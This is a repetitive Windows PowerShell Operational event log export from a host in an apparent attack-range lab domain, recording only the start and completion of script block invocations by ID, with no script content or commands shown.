ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050890
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050889
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050888
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050887
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050886
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050885
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050884
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050883
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050882
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050881
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050880
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050879
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050878
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050877
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050876
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050874
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050873
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050872
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050871
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050870
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050854
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050853
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050851
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050850
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050849
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050848
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050847
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2050838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2050837
Keywords=None
